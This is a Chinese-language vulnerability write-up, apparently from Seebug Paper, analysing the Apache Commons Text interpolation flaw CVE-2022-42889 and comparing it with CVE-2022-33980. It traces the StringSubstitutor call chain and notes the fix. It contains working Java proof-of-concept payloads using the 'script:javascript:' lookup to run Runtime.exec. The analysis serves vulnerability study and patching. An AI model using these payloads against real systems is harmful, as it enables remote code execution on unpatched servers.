作者:標準云
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
漏洞簡介

Apache Commons Text 執行變量插值 (variable interpolation), 允許動態評估和擴展屬性。插值的標準格式是"${prefix:name}",其中 "prefix" 用于查找定位執行插值 org.apache.commons.text.lookup.StringLookup 的實例。從 1.5 版到 1.9 版,默認的 Lookup 實例集包括可能導致任意代碼執行或與遠程服務器聯系的插值器。
- "script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 腳本執行引擎(javax.script)執行表達式
- "dns" - resolve dns records 解析 dns 記錄
- "url" - load values from urls, including from remote servers 從 url 加載值,包括從遠程服務加載值
如果使用了不受信任的配置值,則在受影響版本中使用插值默認值的應用程序可能受到遠程代碼執行的影響。
我們發現漏洞 CVE-2022-42889 與 漏洞 CVE-2022-33980 描述基本相同,都是因為存在危險的插值器。兩個漏洞應該有異曲同工 之妙,對兩個漏洞依次進行復現并進行總結。
漏洞復現

創建 maven 項目,添加依賴
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
import org.apache.commons.text.StringSubstitutor;
public class CommonsTextDemo {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}");
}
}

漏洞分析
畫出一整個的調試過程

Apache Commons Text 是一個專注于處理字符串的算法庫,它包含一組用于在 Java 環境中使用的處理文本的函數與可重用組件。
在 org/apache/commons/text/StringSubstitutor.java 描述了一些對字符串的處理方法

import org.apache.commons.text.StringSubstitutor;
public class CommonsTextDemo {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
System.out.printf(interpolator.replace("${sys:user.dir}"));
}
}
?
漏洞調試
org.apache.commons.text.StringSubstitutor#replace(java.lang.String)

對傳入 replace 的參數轉換類型后傳到 substitute 中處理
org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int)

org.apache.commons.text.StringSubstitutor#substitute(org.apache.commons.text.TextStringBuilder, int, int, java.util.List<java.lang.String>)

對參數進行檢驗判斷首字符是否為 $ 然后進行處理之后傳到 resolveVariable

org.apache.commons.text.StringSubstitutor#resolveVariable

獲取 getStringLookup() 的值 InterpolatorStringLookup 然后調用其 lookup 方法
org.apache.commons.text.lookup.InterpolatorStringLookup#lookup

根據 : 分割提取出 prefix 值 然后根據 stringLookupMap 提取其對應的 lookup 實例化對象

script 對應的是 ScriptStringLookup
org.apache.commons.text.lookup.ScriptStringLookup#lookup

再次根據 : 將表達式分割

同 CVE-2022-33980 一樣 dns 和 url 也屬于不安全的插值器


總結反思
首先是針對這個漏洞而言
createInterpolator 實例化了 StringSubstitutor 并向其中傳入 StringLookupFactory.INSTANCE.interpolatorStringLookup()
org.apache.commons.text.StringSubstitutor#createInterpolator

org.apache.commons.text.StringSubstitutor#StringSubstitutor(org.apache.commons.text.lookup.StringLookup)

是根據傳入的 StringLookup 去調用不同的方法 接著會到 InterpolatorStringLookup.java
所以直接調用 StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup() 就是調用 org.apache.commons.text.lookup.InterpolatorStringLookup#lookup
漏洞的利用也可以如此構造
import org.apache.commons.text.lookup.StringLookupFactory;
public class CommonsTextDemo {
public static void main(String[] args) {
StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup("script:javascript:java.lang.Runtime.getRuntime().exec('calc')");
}
}

CVE-2022-33980 和 CVE-2022-42889 都是對字符串的處理不當,最終都是調用了 ScriptStringLookup 對傳入的內容進行處理,本質上應該多關注 jar 本身的功能,有可能一些漏洞就存在于本身所對應的功能上。
漏洞修復
移除了不安全的插值器 script 、 dns 和 url

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1993/